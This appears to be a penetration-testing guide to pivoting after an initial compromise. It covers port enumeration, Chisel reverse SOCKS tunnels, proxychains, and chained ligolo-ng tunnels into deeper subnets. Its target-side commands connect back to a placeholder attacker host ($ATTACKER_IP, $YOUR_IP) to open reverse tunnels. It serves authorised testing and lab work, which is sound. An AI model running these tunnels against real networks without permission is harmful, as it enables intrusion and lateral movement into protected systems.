Networking

How to best communicate between you and everything on your target

Enumerating Network Services

Developers often only expose ports to the public when they need to, so unnecessary ports like MySQL are often only reachable from the inside. While for an attacker, that is a gold mine. So when you get a shell on a machine as a low-privileged user, you might want to try and access these internal services.

First off, you can view all the listening ports with the following command:

$ netstat -punta | grep LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
$ ss -nltpu | grep LISTEN  # Alternative

In the above example, there are two ports that listen on 0.0.0.0, meaning they allow connections from anywhere. But more interesting, there are two other ports that listen on 127.0.0.1. This means they are only accessible from localhost, or the machine itself. It does not allow connections from the outside.

So when you are on a machine with any ports open on the 127.0.0.1 address, you can now access them from the inside. We can run commands like curl, or mysql on the machine itself, but we would have to be lucky that those programs are installed, or that they can be downloaded. We also then work completely on the command line, and a graphical application like a browser would not work.

Tunneling

This is where tunneling comes in. It allows you to create a path for the traffic where it is initially sent to your attacking machine and then forwarded to the actual target. This allows you to use all of your own installed tools on that localhost port, in order to attack the target machine.

Chisel

Chisel is an HTTP tunneling tool that is very easy to set up. You simply need a server on your own machine, and a client on the target machine that connects to your server. Simply copy a binary from the releases (Linux or Windows) to you and your target, and then the basic commands are as follows:

$ chisel server -p 8080 --reverse  # Attacker: server
2023/01/01 00:00:00 server: Reverse tunneling enabled
2023/01/01 00:00:00 server: Fingerprint raoElJaMVZlkiW9tCVXfLxR8IpBoQayS7wqa2ntl8sk=
2023/01/01 00:00:00 server: Listening on http://0.0.0.0:8080

$ ./chisel client $YOUR_IP:8080 R:socks  # Target: client
2023/01/01 00:00:00 client: Connecting to ws://10.10.10.10:8080
2023/01/01 00:00:00 client: Connected

Note: This requires two extra terminal screens to run these two commands, which both need to keep running to keep your connection alive

After the client connects, you should see a message like the following:

2023/01/01 00:00:00 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening

This means the client successfully connected, and a tunnel was made. It tells you now that on your own 127.0.0.1:1080, there now exists a socks proxy that you can use with all your tools.

Proxychains

Proxychains is a tool that allows you to proxy existing tools to your new socks proxy from above. It just requires a tiny bit of configuration to make sure it knows to use the socks proxy we created on port 1080. This is done using the /etc/proxychains.conf file. It might already contain some settings, but just change the [ProxyList] at the end to add your socks5 proxy:

[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 1080

With this set, you can now simply prepend proxychains to the command, and your localhost becomes the target localhost!

$ proxychains curl localhost:3000
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  127.0.0.1:3000  ...  OK
<!DOCTYPE html>
...

$ proxychains firefox --offline

Ligolo-ng

While Chisel makes it easy to tunnel through one host, it gets difficult when deeper tunnels are involved and prepending proxychains before every command is slow. Luckily, ligolo-ng comes to the rescue with a VPN approach that allows you to manage connections from a central server ("proxy"). Any client ("agent") can connect with this server, either directly or through an existing client to join the network.

By creating TUN interfaces on your local machine with routes to the remote networks, you can use tools like normal as if you are directly connecting to the IP address, and the VPN will make sure it gets routed over the tunnels.

To get started, the README.md explains most practical scenarios. Agents can either be on Linux (ELF) or Windows (EXE), which can be found precompiled in the releases. You start by setting up a server, which can use a self-signed certificate (-selfcert) in a testing/lab environment, but should ideally be a Let's Encrypt certificate for a real engagement (-autocert).

Attacker Server
ligolo-proxy -selfcert

Afterward, the :11601 port opens up for agents to connect to. They need to have downloaded a compatible "agent" binary and run it with the address to your server, making sure it is accessible:

Victim Client
./agent -connect $ATTACKER_IP:11601 -ignore-cert

You should instantly receive a "Agent joined" message in your server, choose it using session:

ligolo-ng ยป session
? Specify a session :  [Use arrows to move, type to filter]
> 1 - #1 - user@TARGET - 10.10.10.10:52286

After pressing Enter, the ifconfig command shows you what network interfaces are available. If you find any networks here you didn't have access to before, you should add its route locally. Starting a session requires a tunnel interface to bind the route to. On Linux, these need to be manually created with a name, like ligolo (Windows will do this automatically):

Linux setup
sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up

After this is done, you can use start in the session to connect the tunnel. By default, it uses the ligolo interface, but using --tun you can specify any other name.

[Agent : user@TARGET] ยป start
[Agent : user@TARGET] ยป start --tun ligolo2

Now that it is connected, the last step is adding the route locally so your machine knows it can reach it. If you want to get access to the 192.168.0.0/24 subnet, for example, add its route to the interface you just started:

Linux
sudo ip route add 192.168.0.0/24 dev ligolo
Windows (admin)
PS C:\> netsh int ipv4 show interfaces
Idx     Met         MTU          State                Name
---  ----------  ----------  ------------  ---------------------------
 25           5       65535  connected     ligolo
...
PS C:\> route add 192.168.0.0 mask 255.255.255.0 0.0.0.0 if $INTERFACE_IDX

Now, you should be able to reach into this internal network through the tunnel using tools like nmap:

nmap 192.168.0.0/24 -v -sV -n

Tunneling deeper networks

If you find any more vulnerabilities in the new network, you might find even deeper subnets that even the initial machine couldn't access. This second compromised client can also connect to the proxy, but may not be able to reach our attacker server. Therefore we can use one of ligolo-ng's features to open up a port on the first client, so that the second client can access it, creating a chain of sorts.

When connected to a session, the listener_add command allows you to forward local ports to an agent (docs). This can be used to extend our :11601 port onto different agents so that any new clients can connect to any connected agent.

To do this, start a listener on the agent that forwards the port to our local proxy listener:

[Agent : user@TARGET] ยป listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 --tcp

Now a deeper client can connect to the compromised agent, as it should be reachable:

./agent -connect $CLIENT_IP:11601 -ignore-cert

After another session is created, you can once again configure it by selecting it in session. Then to get its internal networks you can do the same as before: create an interface, start the tunnel, and add a route. Note that the name of this interface on Linux needs to be unique:

Linux
sudo ip route add 192.168.0.0/24 dev ligolo2
[Agent : user@TARGET2] ยป start --tun ligolo2

Finally, you can add the routes of this new client to your interface:

sudo ip route add 172.16.0.0/24 dev ligolo2

Now this doubly-tunneled route should be seamlessly accessible using nmap and such again.

Tip: A special hardcoded IP address in ligolo-ng is 240.0.0.1, which redirects to 127.0.0.1 (localhost) of the agent that the interface belongs to. This can be used to access internally-listening services as well. You only need to add this route to the agent's tun interface:

sudo ip route add 240.0.0.1/32 dev ligolo

Last updated